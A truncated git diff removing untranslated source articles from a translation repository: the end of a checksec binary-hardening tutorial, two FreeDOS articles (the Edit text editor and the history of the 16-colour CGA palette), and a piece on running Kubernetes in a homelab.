utilizes the `readelf` utility to read the binary and provides a special `--symbols` flag that lists all symbols within the binary. Then it greps for a special value, `.symtab`, that provides a count of entries (symbols) it finds. You can try out the following commands on the test binary you compiled above: - - -``` -$ readelf -W --symbols ./hello -$ readelf -W --symbols ./hello | grep -i symtab -``` - -## How to strip symbols - -You can strip symbols after compilation or during compilation. - - * **Post compilation:** After compilation, you can use the `strip` utility on the binary to remove the symbols. Confirm it worked using the `file` command, which now shows the output as `stripped`: [code] $ gcc hello.c -o hello -$ -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, not stripped -$ -$ strip hello -$ -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, stripped -$ -``` -## How to strip symbols during compilation - -Instead of stripping symbols manually after compilation, you can ask the compiler to do it for you by providing the `-s` argument: -``` - - -$ gcc -s hello.c -o hello -$ -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=247de82a8ad84e7d8f20751ce79ea9e0cf4bd263, for GNU/Linux 3.2.0, stripped -$ - -``` -After rerunning checksec, you can see that `symbols` are shown as `no`: -``` - - -$ checksec --file=./hello --output=json | jq | grep symbols -    "symbols": "no", -$ - -``` -### 2\. Canary - -Canaries are known values that are placed between a buffer and control data on the _stack_ to monitor buffer overflows. When an application executes, two kinds of memory are assigned to it.  One of them is a _stack_, which is simply a data structure with two operations: `push`, which puts data onto the stack, and `pop`, which removes data from the stack in reverse order. Malicious input could overflow or corrupt the stack with specially crafted input and cause the program to crash: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep canary -    "canary": "yes", -$ -$ checksec --file=./hello --output=json | jq | grep canary -    "canary": "no", -$ - -``` -How does checksec find out if the binary is enabled with a canary? Using the method above, you can narrow it down by running the following command within the shell script: -``` -`$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie'` -``` -#### Enable canary - -To protect against these cases, the compiler provides the `-stack-protector-all` flag, which adds extra code to the binary to check for such buffer overflows: -``` - - -$ gcc -fstack-protector-all hello.c -o hello - -$ checksec --file=./hello --output=json | jq | grep canary -    "canary": "yes", - -``` -Checksec shows that the property is now enabled. You can also verify this with: -``` - - -$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie' -     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3) -    83: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2.4 -$ - -``` -### 3\. PIE - -PIE stands for position-independent executable. As the name suggests, it's code that is placed somewhere in memory for execution regardless of its absolute address: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep pie -    "pie": "yes", - -$ checksec --file=./hello --output=json | jq | grep pie -    "pie": "no", - -``` -Often, PIE is enabled only for libraries and not for standalone command-line programs. In the output below, `hello` is shown as `LSB executable`, whereas, the `libc` standard library (`.so`) file is marked `LSB shared object`: -``` - - -$ file hello -hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped - -$ file /lib64/libc-2.32.so -/lib64/libc-2.32.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4a7fb374097fb927fb93d35ef98ba89262d0c4a4, for GNU/Linux 3.2.0, not stripped - -``` -Checksec tries to find this information with: -``` - - -$ readelf -W -h ./hello | grep EXEC -  Type:                              EXEC (Executable file) - -``` -If you try the same command on a shared library instead of `EXEC`, you will see a `DYN`: -``` - - -$ readelf -W -h /lib64/libc-2.32.so | grep DYN -  Type:                              DYN (Shared object file) - -``` -#### Enable PIE - -To enable PIE on a test program, send the following arguments to the compiler: -``` -`$ gcc -pie -fpie hello.c -o hello` -``` -You can verify PIE is enabled using checksec: -``` - - -$ checksec --file=./hello --output=json | jq | grep pie -    "pie": "yes", -$ - -``` -It should show as a PIE executable with the type changed from `EXEC` to `DYN`: -``` - - -$ file hello -hello: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb039adf2530d97e02f534a94f0f668cd540f940, for GNU/Linux 3.2.0, not stripped - -$ readelf -W -h ./hello | grep DYN -  Type:                              DYN (Shared object file) - -``` -### 4\. NX - -NX stands for "non-executable." It's often enabled at the CPU level, so an operating system with NX enabled can mark certain areas of memory as non-executable. Often, buffer-overflow exploits put code on the stack and then try to execute it. However, making this writable area non-executable can prevent such attacks. This property is enabled by default during regular compilation using `gcc`: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep nx -    "nx": "yes", - -$ checksec --file=./hello --output=json | jq | grep nx -    "nx": "yes", - -``` -Checksec determines this information with the command below. `RW` towards the end means the stack is readable and writable; since there is no `E`, it's not executable: -``` - - -$ readelf -W -l ./hello | grep GNU_STACK -  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10 - -``` -#### Disable NX for demo purposes - -It's not recommended, but you can disable `NX` when compiling a program by using the `-z execstack` argument: -``` - - -$ gcc -z execstack hello.c -o hello - -$ checksec --file=./hello --output=json | jq | grep nx -    "nx": "no", - -``` -Upon compilation, the stack becomes executable (`RWE`), which allows malicious code to execute: -``` - - -$ readelf -W -l ./hello | grep GNU_STACK -  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RWE 0x10 - -``` -### 5\. RELRO - -RELRO stands for Relocation Read-Only. An Executable Linkable Format (ELF) binary uses a Global Offset Table (GOT) to resolve functions dynamically. When enabled, this security property makes the GOT within the binary read-only, which prevents some form of relocation attacks: -``` - - -$ checksec --file=/bin/ls --output=json | jq | grep relro -    "relro": "full", - -$ checksec --file=./hello --output=json | jq | grep relro -    "relro": "partial", - -``` -Checksec finds this information by using the command below. Here, one of the RELRO properties is enabled; therefore, the binary shows "partial" when verifying via checksec: -``` - - -$ readelf -W -l ./hello | grep GNU_RELRO -  GNU_RELRO      0x002e10 0x0000000000403e10 0x0000000000403e10 0x0001f0 0x0001f0 R   0x1 - -$ readelf -W -d ./hello | grep BIND_NOW - -``` -#### Enable full RELRO - -To enable full RELRO, use the following command-line arguments when compiling with `gcc`: -``` - - -$ gcc -Wl,-z,relro,-z,now hello.c -o hello - -$ checksec --file=./hello --output=json | jq | grep relro -    "relro": "full", - -``` -Now, the second property is also enabled, making the program full RELRO: -``` - - -$ readelf -W -l ./hello | grep GNU_RELRO -  GNU_RELRO      0x002dd0 0x0000000000403dd0 0x0000000000403dd0 0x000230 0x000230 R   0x1 - -$ readelf -W -d ./hello | grep BIND_NOW - 0x0000000000000018 (BIND_NOW)           - -``` -### 6\. Fortify - -Fortify is another security property, but it's out of scope for this article. I will leave learning how checksec verifies fortify in binaries and how it's enabled with `gcc` as an exercise for you to tackle. -``` - - -$ checksec --file=/bin/ls --output=json | jq  | grep -i forti -    "fortify_source": "yes", -    "fortified": "5", -    "fortify-able": "17" - -$ checksec --file=./hello --output=json | jq  | grep -i forti -    "fortify_source": "no", -    "fortified": "0", -    "fortify-able": "0" - -``` -## Other checksec features - -The topic of security is never-ending, and while it's not possible to cover everything here, I do want to mention a few more features of the `checksec` command that make it a pleasure to work with. - -### Run against multiple binaries - -You don't have to provide each binary to checksec individually. Instead, you can provide a directory path where multiple binaries reside, and checksec will verify all of them for you in one go: -``` -`$ checksec --dir=/usr \ No newline at end of file diff --git a/sources/tech/20210611 How to use the FreeDOS text editor.md b/sources/tech/20210611 How to use the FreeDOS text editor.md deleted file mode 100644 index 4afe36aa36..0000000000 --- a/sources/tech/20210611 How to use the FreeDOS text editor.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: subject: (How to use the FreeDOS text editor) -[#]: via: (https://opensource.com/article/21/6/freedos-text-editor) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to use the FreeDOS text editor -====== -FreeDOS provides a user-friendly text editor called FreeDOS Edit. -![Person using a laptop][1] - -Editing files is a staple on any operating system. Whether you want to make a note about something, write a letter to a friend, or update a system configuration file—you need an editor. And FreeDOS provides a user-friendly text editor called (perhaps unimaginatively) "FreeDOS Edit." - -### Editing files - -The simplest invocation of FreeDOS Edit is just `EDIT`. This brings up an empty editor window. The patterned background suggests an empty "desktop"—a reminder that you aren't editing any files. - -![FreeDOS Edit][2] - -FreeDOS Edit without any files loaded -Jim Hall, CC-BY SA 4.0 - -Like most DOS applications, you can access the menus in Edit by tapping the Alt key once on your keyboard. This activates the menu. After hitting Alt, Edit will switch to "menu" access and will highlight the "File" menu. If you want to access a different menu on the menu bar, use the left and right arrow keys. Press the down arrow or hit the Enter key to go "into" the menu. - -![FreeDOS Edit menu][3] - -Highlighting the menu -Jim Hall, CC-BY SA 4.0 - -Do you notice that the first letter for each menu title is a different color? This highlight indicates a shortcut. For example, the "F" in the "File" menu is highlighted in red. So you could instead press Alt+F (Alt and F at the same time) and Edit will bring up the "File" menu. - -![File menu][4] - -The File menu -Jim Hall, CC-BY SA 4.0 - -You can use the "File" menu to either start a new (empty) file, or open an existing file. Let's start a new file by using the arrow keys to move down to "New" and pressing the Enter key. You can also start a new file by pressing Ctrl+N (Ctrl and N at the same time): - -![new file][5] - -Editing a new file -Jim Hall, CC-BY SA 4.0 - -Editing files should be pretty straightforward after that. Most of the familiar keyboard shortcuts exist in FreeDOS Edit: Ctrl+C to copy text, Ctrl+X to cut text, and Ctrl+V to paste copied or cut text into a new location. If you need to find specific text in a long document, press Ctrl+F. To save your work, use Ctrl+S to commit changes back to the disk. - -### Programming in Edit - -If you're a programmer, you may find the extended ASCII table a useful addition. DOS systems supported an "extended" ASCII character set commonly referred to as "code page 437." The standard characters between 0 and 127 include the letters A through Z (uppercase and lowercase), numbers, and special symbols like punctuation. However, the DOS extended characters from code 128 to code 255 included foreign language characters and "line drawing" elements. DOS programmers often made use of these extended ASCII characters, so FreeDOS Edit makes it easy to view a table of all the ASCII codes and their associated characters. - -To view the ASCII table, use the "Utilities" menu and select the "ASCII Table" entry. This brings up a window containing a table. - -![utilities menu - ascii table][6] - -Find the ASCII Table in the Utilities menu -Jim Hall, CC-BY SA 4.0 - -Along the left, the table shows the hexadecimal values "00" through "F0," and the top shows the single values "0" through "F." These provide a quick reference to the hexadecimal code for each character. For example, the item in the first row (00) and the first column (0) has the hexadecimal value 00 + 0, or 0x00 (the "NULL" value). And the character in the fifth row (40) and the second column (1) has the value 40 + 1, or 0x41 (the letter "A"). - -![utilities menu - ascii table][7] - -The ASCII Table provides a handy reference for extended characters -Jim Hall, CC-BY SA 4.0 - -As you move the cursor through the table to highlight different characters, you'll see the values at the bottom of the table change to show the character's code in decimal, hexadecimal, and octal. For example, moving the cursor to highlight the "line intersection" character at row C0 and column 5 shows this extended character code as 197 (dec), 0xc5 (hex), and 305 (oct). In a program, you might reference this extended character by typing the hex value `0xc5`, or the octal "escape code" `\305`. - -![ASCII 0xc5][8] - -The "line intersection" character is 197 (dec), 0xc5 (hex), and 305 (oct) -Jim Hall, CC-BY SA 4.0 - -Feel free to explore the menus in Edit to discover other neat features. For example, the "Options" menu allows you to change the behavior and appearance of Edit. If you prefer to use a more dense display, you can use the "Display" menu (under "Options") to set Edit to 25, 43, or 50 lines. You can also force Edit to display in monochrome (white on black) or reversed mode (black on white). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-text-editor - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/sites/default/files/uploads/edit.png (FreeDOS Edit without any files loaded) -[3]: https://opensource.com/sites/default/files/uploads/edit-menu.png (Highlighting the menu) -[4]: https://opensource.com/sites/default/files/uploads/edit-file.png (The File menu) -[5]: https://opensource.com/sites/default/files/uploads/edit-new.png (Editing a new file) -[6]: https://opensource.com/sites/default/files/uploads/utilities-ascii.png (Find the ASCII Table in the Utilities menu) -[7]: https://opensource.com/sites/default/files/uploads/ascii-table-0x00.png (The ASCII Table provides a handy reference for extended characters) -[8]: https://opensource.com/sites/default/files/uploads/ascii-0xc5.png (The "line intersection" character is 197 (dec), 0xc5 (hex), and 305 (oct)) diff --git a/sources/tech/20210617 Why FreeDOS has 16 colors.md b/sources/tech/20210617 Why FreeDOS has 16 colors.md deleted file mode 100644 index 60e6790e11..0000000000 --- a/sources/tech/20210617 Why FreeDOS has 16 colors.md +++ /dev/null @@ -1,128 +0,0 @@ -[#]: subject: (Why FreeDOS has 16 colors) -[#]: via: (https://opensource.com/article/21/6/freedos-sixteen-colors) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Why FreeDOS has 16 colors -====== -Why does text only come in this limited palette, and why does FreeDOS -use those colors and shades, instead of some other colors? The answer, -like many things in technology, is because of history. -![Person typing on a 1980's computer][1] - -If you've looked carefully at FreeDOS, you've probably noticed that text only comes in a limited range of colors—sixteen text colors, and eight background colors. This is similar to how Linux displays text color—you might be able to change _what text colors are used_ in a Linux terminal, but you're still stuck with just sixteen text colors and eight background colors. - -![terminal colors][2] - -DOS text comes in 16 colors and 8 background colors -(Jim Hall, [CC-BY SA 4.0][3]) - -Why does text only come in this limited palette, and why does FreeDOS use _those_ colors and shades, instead of some other colors? The answer, like many things in technology, is because of _history_. - -### The origins of PC color - -To explain why text only comes in sixteen colors, let me tell you a story about the first IBM Personal Computer. Parts of this story may be somewhat apocryphal, but the basics are close enough. - -IBM released the Personal Computer 5150 (the "IBM PC") in 1981. The PC used a simple monitor screen that displayed text in green. Because this display only worked with one color, it was dubbed _monochrome_ (the "IBM 5151 monochrome display," with the IBM Monochrome Display Adapter card, or "MDA"). - -That same year, IBM released an updated version of the PC that sported an amazing technical achievement—color! The new IBM 5153 color display relied on a new IBM Color Graphics Adapter, or "CGA." And it is because of this original CGA that all DOS text inherited their colors. - -But before we go there, we first need to understand something about color. When we talk about colors on a computer screen, we're talking about mixing different values of the three _primary_ light colors—red, green, and blue. You can mix together different levels (or "brightnesses") of red, green, and blue light to create almost any color. Mix just red and blue light, and you get magenta. Mix blue and green, and you get cyan or aqua. Mix all colors equally, and you get white. Without any light colors, you see black (an absence of color). - -![light colors][4] - -Mix red, green, and blue light to get different colors -(Jim Hall, [CC-BY SA 4.0][3]) - -The IBM 5153 color display presented color to the user by lighting up tiny red, green, and blue phosphor dots on a cathode ray tube (a "CRT"). These tiny dots were arranged very close together and in a pattern where a triad of red, green, and blue dots would form a "pixel." By controlling which phosphor dots were lit at one time, the IBM 5153 color display could show different colored pixels. - -![CRT pixels][5] - -Each red, green, and blue triad is a single pixel -(Jim Hall, [CC-BY SA 4.0][3]) - -By the way, even modern displays use this combination of red, green, and blue dots to represent colors. The difference in modern computers is that instead of tiny phosphor dots, each pixel uses a triad of red, green, and blue LED lights—usually arranged side by side. The computer can turn each LED light on or off to mix the red, green, and blue colors in each pixel. - -![LCD pixels][6] - -Each red, green, and blue triad is a single pixel -(Jim Hall, [CC-BY SA 4.0][3]) - -### Defining CGA colors - -The IBM engineers realized they could display several colors by mixing each red, green, and blue pixels. In the simplest case, you could assume each red, green, and blue dot in a single-pixel was either "on" or "off." And as any computer programmer will tell you, you can represent "on" and "off" as binary—ones (1=on) and zeroes (0=off). - -Representing red, green, and blue with ones or zeroes means you can combine up to eight colors, from 000 (red, green, and blue are all off) to 111 (red, green, and blue are all on). Note that the bit pattern goes like "RGB," so RGB=001 is blue (only blue is on) and RGB=011 is cyan (both green and blue are on): - -| | | | | ----------- | | | 000 Black | | | 001 Blue | | | 010 Green | | | 011 Cyan | | | 100 Red | | | 101 Magenta | | | 110 Yellow | | | 111 White | - -But that's just the simplest case. A particularly clever IBM engineer realized you could double the number of colors from eight to sixteen simply by adding another bit. So instead of a bit pattern like RGB, we can use a bit pattern like iRGB. We'll call this extra "i" bit the "intensity" bit because if we set the "intensity" bit to 1 (on), then we'll light up the red, green, and blue phosphor dots at full brightness; if the "intensity" bit is 0 (off) we can use some mid-level brightness. - -And with that simple fix, now CGA could display sixteen colors! For the sake of simplicity, the IBM engineers referred to the high-intensity colors as the "bright" versions of the regular color names. So "red" pairs with "bright red," and "magenta" pairs with "bright magenta." - -| | | | | | | ------------ | | ------------------- | | | 0000 Black | | 1000 Bright Black | | | 0001 Blue | | 1001 Bright Blue | | | 0010 Green | | 1010 Bright Green | | | 0011 Cyan | | 1011 Bright Cyan | | | 0100 Red | | 1100 Bright Red | | | 0101 Magenta | | 1101 Bright Magenta | | | 0110 Yellow | | 1110 Bright Yellow | | | 0111 White | | 1111 Bright White | - -Oh no! But wait! This isn't actually sixteen colors. If you notice iRGB=0000 (black) and iRGB=1000 (bright black), they are both the same _black_. There's no color to make "bright," so they are just both regular black. This means we only have fifteen colors, not the sixteen we were hoping for. - -But IBM has clever engineers working for them, and they realized how to fix this to get sixteen colors. Rather than implement a straight RGB to iRGB, IBM actually implemented a _modified_ iRGB scheme. With this change, IBM set four levels of brightness for each phosphor dot: completely off, one-third brightness, two-thirds brightness, and full brightness. If the "intensity" bit was turned off, then each red, green, and blue phosphor dot would light up at two-thirds brightness. If you set the "intensity" bit on, any zeroes in the RGB colors would be lit at one-third brightness, and any ones in the RGB colors would be lit at full brightness. - -Let me describe this to you another way, using web color code representation. If you are familiar with the HTML colorspace, you probably know that you can represent colors using #RGB, where RGB represents a combination of red, green, and blue values, each between the hexadecimal values 0 through F. So using IBM's modified iRGB definition, iRGB=0001 is #00a (blue) and iRGB=1001 is #55f (bright blue) because with high-intensity colors, all zeroes in RGB=001 are lit at one-third brightness (around "5" on the 0 to F scale) and all ones in RGB=001 are lit at two-third brightness (about "A" on the 0 to F scale). - -| | | | | | | ------------ | | ------------------- | | | 0000 Black | | 1000 Bright Black | | | 0001 Blue | | 1001 Bright Blue | | | 0010 Green | | 1010 Bright Green | | | 0011 Cyan | | 1011 Bright Cyan | | | 0100 Red | | 1100 Bright Red | | | 0101 Magenta | | 1101 Bright Magenta | | | 0110 Yellow | | 1110 Bright Yellow | | | 0111 White | | 1111 Bright White | - -And with those colors, we are finally done! We have a full spectrum of colors from iRGB=0000 (black) to iRGB=1111 (bright white) and every color in between. Like a rainbow of colors, this is beautiful. - -Except, no. Wait. Something's wrong here. We can't actually replicate all of the colors of the rainbow yet. The handy mnemonic we learned in grade school was ROYGBIV, to help us remember that a rainbow has colors from red, orange, yellow, green, blue, indigo, and violet. Our modified iRGB color scheme includes red, yellow, green, and blue—and we can "fake" it for indigo and "violet." But we're missing orange. Oh no! - -![rainbow][7] - -A beautiful rainbow - which unfortunately contains orange  -([Paweł Fijałkowski][8], public domain) - -To fix this, the smart IBM engineers made one final fix for RGB=110. The high-intensity color (iRGB=1110) lit up the red and green phosphor dots at full brightness to make yellow. But at the low-intensity color (iRGB=0110), they lit the red at two-thirds brightness and the green at one-third brightness. This turned iRGB=0110 into an orange color—although it was later dubbed "brown" because IBM had to mess up the standard names somewhere. - -| | | | | | | ------------ | | ------------------- | | | 0000 Black | | 1000 Bright Black | | | 0001 Blue | | 1001 Bright Blue | | | 0010 Green | | 1010 Bright Green | | | 0011 Cyan | | 1011 Bright Cyan | | | 0100 Red | | 1100 Bright Red | | | 0101 Magenta | | 1101 Bright Magenta | | | 0110 Brown | | 1110 Yellow | | | 0111 White | | 1111 Bright White | - -And that's how CGA—and by extension, DOS—got the sixteen colors! And in case you're curious, that's also why there's a "bright black" color, even though it's just a shade of gray. - -### Representing colors (bits and bytes) - -But you may wonder: why can DOS only display eight background colors if it can display sixteen text colors? For that, we need to take a quick diversion into how computers passed color information to the CGA card. - -In brief, the CGA card expected each character's text color and background color to be encoded in a single byte packet. That's eight bits. So where do the eight bits come from? - -We just learned how iRGB (four bits) generates the sixteen colors. Text color uses iRGB, or four bits. The background color is limited to the eight low-intensity colors (RGB, or three bits). Together, that makes only seven bits. Where is the missing eighth bit? - -The final bit was reserved for perhaps the DOS era's most important user interface element—blinking text. While the blinking text might be annoying today, throughout the early 1980s, blinking text was the friendly way to represent critical information such as error messages. - -Adding this "blink" bit to the three background color bits (RGB) and the four text color bits (iRGB) makes eight bits or a byte! Computers like to count in full bytes, making this a convenient way to package color (and blink) information to the computer. - -Thus, the full byte to represent color (and blink) was `Bbbbffff`, where `ffff` is the iRGB bit pattern for the text color (from 0 to 15), `bbb` is the RGB bit pattern for the low-intensity background color (from 0 to 7), and `B` is the "blink" bit. - -The limit of sixteen text colors and eight background colors continues to this day. Certainly, DOS is stuck with this color palette, but even Linux terminal emulators like GNOME Terminal remain constrained to sixteen text colors and eight background colors. Sure, a Linux terminal might let you change the specific colors used, but you're still limited to sixteen text colors and eight background colors. And for that, you can thank DOS and the original IBM PC. You're welcome! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-sixteen-colors - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/1980s-computer-yearbook.png?itok=eGOYEKK- (Person typing on a 1980's computer) -[2]: https://opensource.com/sites/default/files/uploads/16colors.png (DOS text comes in 16 colors and 8 background colors) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/rgb.svg_.png (Mix red, green, and blue light to get different colors) -[5]: https://opensource.com/sites/default/files/uploads/crt.svg_.png (Each red, green, and blue triad is a single pixel) -[6]: https://opensource.com/sites/default/files/uploads/lcd.svg_.png (Each red, green, and blue triad is a single pixel) -[7]: https://opensource.com/sites/default/files/uploads/rainbow.jpg (A beautiful rainbow - which unfortunately contains orange ) -[8]: https://www.pexels.com/photo/landscape-photography-of-field-with-wind-mill-with-rainbow-1253748/ diff --git a/sources/tech/20210618 5 more reasons to run Kubernetes in your Linux homelab.md b/sources/tech/20210618 5 more reasons to run Kubernetes in your Linux homelab.md deleted file mode 100644 index dd5ec7ed2c..0000000000 --- a/sources/tech/20210618 5 more reasons to run Kubernetes in your Linux homelab.md +++ /dev/null @@ -1,100 +0,0 @@ -[#]: subject: (5 more reasons to run Kubernetes in your Linux homelab) -[#]: via: (https://opensource.com/article/21/6/kubernetes-linux-homelab) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 more reasons to run Kubernetes in your Linux homelab -====== -Kubernetes' advantages aren't just what it can do, they're also what -knowing it can do for you. -![Working from home at a laptop][1] - -In [5 reasons to run Kubernetes on your Raspberry Pi homelab][2], I explain why you might want to use Kubernetes at home. Those reasons are relatively arbitrary, and they mostly focus on outcomes. Aside from what Kubernetes can do, there are several other good reasons to look at Kubernetes as an important next step in your personal computing experience. - -### 1\. It's built on the foundation of Linux - -![T-shirt reading "Containers are Linux"][3] - -(Seth Kenlon, [CC BY-SA 4.0][4]) - -Kubernetes has a certain reputation. More accurately, it has several reputations. For some people, it's a mysterious technology with an unpronounceable name. To other people, it's a sheepdog helping them herd an over-abundance of containers. For others, it's a kind of operating system for the cloud, a useful interface to effective cloud development. And for most people, probably, it's back-end software they've never even heard of. As you might expect, it's all of these things and more. - -Not everyone interacts with Kubernetes the same way, but if you have an inclination toward systems administration, you'll find that Kubernetes is _just another Linux command_. - -I have a t-shirt that reads "Containers are Linux," which states what is, upon reflection, obvious. Container technology uses cgroups to run images of a minimal Linux operating system containing an application or set of applications. From start to finish, when you choose to run a container, you're choosing to run Linux. While Kubernetes commands run on many platforms, it's managing Linux containers, and when you interact with Kubernetes through a terminal, it's Linux business as usual: command, options, args, syntax. Running `kubeadm` or (on OKD or OpenShift) `oc` commands feels familiar because they work like any other Linux command you're used to running. What starts out seeming foreign feels natural in no time, and any Linux user interested in spending time in the terminal can find plenty of fun things to explore in Kubernetes. - -### 2\. Flexible - -Kubernetes used to be a little rigid. It supported, essentially, one container runtime—so stringently, in fact, that there's a hardcoded shim to this day to get around that legacy. Luckily, today Kubernetes has become flexible enough to allow for admins' many diverse needs. There's [Podman][5] and [CRI-O][6] available as container engines, both of which can integrate with [systemd][7]. (I meant what I said when I told you it was all Linux underneath.) You have choices of filesystems, cluster size and construction, monitoring tools, images, programming languages, and much more. Frankly, some people say there's _too much_ choice, which is usually when I suspect that after a few more years, it'll have just enough choice for me. - -### 3\. Personal development - -Containers are a fruitful business, and they have the habit of multiplying rapidly. That's by design. Containers are meant to scale, and they scale by spawning clones. Stick the containers into groups (call them _pods_), and automate how pod lifecycles are managed. That's all Kubernetes really is, and it's changing how servers can run. - -You might not need an infinitely scaleable collection of containers, and you may not need anything to help you manage the one or two containers you do run. However, if you're looking to profit from your ability to wrangle pods, then Kubernetes is exactly the tool you want. As more and more companies and organizations go global and embrace [digital transformation][8], Kubernetes is becoming a required skill in IT. If that's the path you're on, it's a good investment to learn it now and get familiar with common problems and their solutions. - -### 4\. Make containers make sense - -You may remember several years ago when open source projects started distributing their code as container images. For many, it was puzzling at the time. Not many admins really [understood what a container was][9], or where the boundaries of the imaginary container were, or how to get into the container, or why data couldn't live inside the container. - -Now, the IT world—including developers—is comfortable with the concept of containers. Delivery to containers just makes sense for a modern [CI/CD workflow][10]. For the sysadmin, though, the advantages of containers are twofold: installation is (theoretically) easier than waiting for a distro to update its packages, and containers scale. Yet it's very likely that neither of these benefits really manifests for you until you've used Kubernetes. Once you start managing containers with Kubernetes and related tools, the benefits of continuous delivery and the ability to scale are probably merely ideas you've read about. Integrate containers into how you manage your servers, and you suddenly understand what the excitement is all about. - -![Apache JMeter][11] - -(Seth Kenlon, [CC BY-SA 4.0][4]) - -The most basic of tests makes it pretty clear. Just spin up your favorite web server in a container, create a pod, then hit your server with traffic from [Apache JMeter][12], and watch containers respond. - -### 5\. Cloud-native - -If you do more development than systems administration, Kubernetes provides an excellent platform for what has easily become the biggest target of all: web apps. We all use web apps now, even though most people just think of them as "websites." The web has a hugely significant user base (to say the least), so it makes sense to provide open source applications through the browser. There are some great open source applications that run over a network, and many of those are delivered as containers to provide easy installation and a consistent user experience. - -### Bonus: It's fun - -Remember when you were still new to Linux? For some people, that might have been decades ago, and for others, it's still around the corner. For all of us, though, learning something new can be a fun challenge. If you've reached the point that Linux installs are more a bother than a challenge, you might want to try building a Kubernetes cluster in your broom closet. It will reintroduce you to all kinds of concepts you'd forgotten about. Hacking on plain-text ([YAML][13] specifically) configuration files, configuring network interfaces and networks, routing traffic, poring over the advantages and disadvantages of one backend over another, running `--dry-run` after `--dry-run` tests, tentatively pressing Return to find out whether you got everything right. Honestly, Kubernetes is just fun. - -If you want to build your own infrastructure, there's nothing quite like building your own Kubernetes cluster. A whole new world will open to you. You quickly become a cloud architect, perfecting your open cloud, installing amazing open source web applications in containers, and maybe even offering access to your family and friends. - -You become the solution. It's so very satisfying. - -### Explore Kubernetes - -Kubernetes might seem out of reach at first. It's new, a little scary, and worst yet, it apparently requires a cloud. However, there are a few ways to get started. - -First, install either [Minikube][14] or [Minishift][14]. Both of these allow you to run a local instance of Kubernetes on your personal computer. It's not quite as satisfying as building a cluster and opening it up to your friends, but it's a great, safe way to get familiar with the landscape, commands, and toolkit. - -Once you're ready for the real thing, read Chris Collins' article [Build a Kubernetes cluster with the Raspberry Pi][15]. After that, download our free ebook [Running Kubernetes on your Raspberry Pi homelab][16]. Before you know it, you'll find yourself wearing Kubernetes t-shirts, too. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/kubernetes-linux-homelab - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/article/20/8/kubernetes-raspberry-pi -[3]: https://opensource.com/sites/default/files/uploads/containers-are-linux.jpg (T-shirt reading "Containers are Linux") -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: http://podman.io -[6]: http://cri-o.io -[7]: https://opensource.com/article/21/5/systemd -[8]: https://enterprisersproject.com/what-is-digital-transformation -[9]: https://opensource.com/article/18/11/behind-scenes-linux-containers -[10]: 